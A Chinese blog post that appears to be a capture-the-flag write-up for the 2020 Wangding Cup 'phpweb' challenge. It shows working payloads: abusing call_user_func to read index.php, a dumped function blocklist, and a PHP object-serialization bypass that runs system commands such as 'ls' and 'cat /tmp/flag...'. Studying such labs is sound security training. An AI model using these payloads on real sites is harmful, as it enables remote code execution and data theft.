[网鼎杯 2020 朱雀组]phpweb wp

[网鼎杯 2020 朱雀组]phpweb wp

开幕雷击

也不知道为什么会这么沙雕【doge】

看这一串warning 大概意思说 我们设置这个时间什么的,找半天从网页本身入不了手,dirsearch也搜不到什么网页,抓个包试试

func=date&p=Y-m-d+h%3Ai%3As+a

发现它post这个东西,结合warning 感觉它是date是函数,后面一串不知道什么东西的是参数

这个时候就想到一个php函数 call_user_func

康康manual解释:
call_user_func

(PHP 4, PHP 5, PHP 7)

call_user_func — 把第一个参数作为回调函数调用
说明 ¶
call_user_func ( callable $callback , mixed $parameter = ? , mixed $... = ? ) : mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

大概就是说第一个参数是函数,用来执行后面一个参数作为该函数的参数

所以,首先先建了个playload

func=file_get_contents&p=index.php

拿到index.php的源码

<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open"
    ,"show_source","phpinfo","popen","dl","eval","proc_terminate","touch"
    ,"escapeshellcmd","escapeshellarg","assert","substr_replace"
    ,"call_user_func_array","call_user_func","array_filter", "array_walk"
    ,"array_map","registregister_shutdown_function","register_tick_function"
    ,"filter_var", "filter_var_array", "uasort", "uksort", "array_reduce"
    ,"array_walk","array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
    $result = call_user_func($func, $p);    //call_user_func — 把第一个参数作为回调函数调用
    $a= gettype($result);   //返回 PHP 变量的类型 var.
    if ($a == "string") {
        return $result;
    } else {
        return "";
    }
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func,$disable_fun)) {
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}
?>

果然管用哦~~

审计代码发现这个过滤了很多,基本方法不好使,不过这有个类,我们可以序列化绕过

<?php
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

$a = new Test();
$a -> p="ls ../../../../../";
$a -> func = "system";
print_r(urlencode(serialize($a)));//这里还url编码,我觉得应该是因为post提交,会自动url解					码一次,所以,咱们要url编码(如果讲的不对,欢迎各位师傅来教导。。。。)

这样就得到了根目录下的文件名

在这里插入图片描述

一个一个试呗,发现tmp目录下有flagoefiu4r93文件,估计就是了

同样序列化

$a = new Test();
$a -> p="cat /tmp/flagoefiu4r93";
#$a -> p="find / -name flag*";
$a -> func = "system";
print_r(urlencode(serialize($a)));

就能得到了flag

posted on 2021-01-21 15:18  猪猪侠的哥哥  阅读(94)  评论(0)    收藏  举报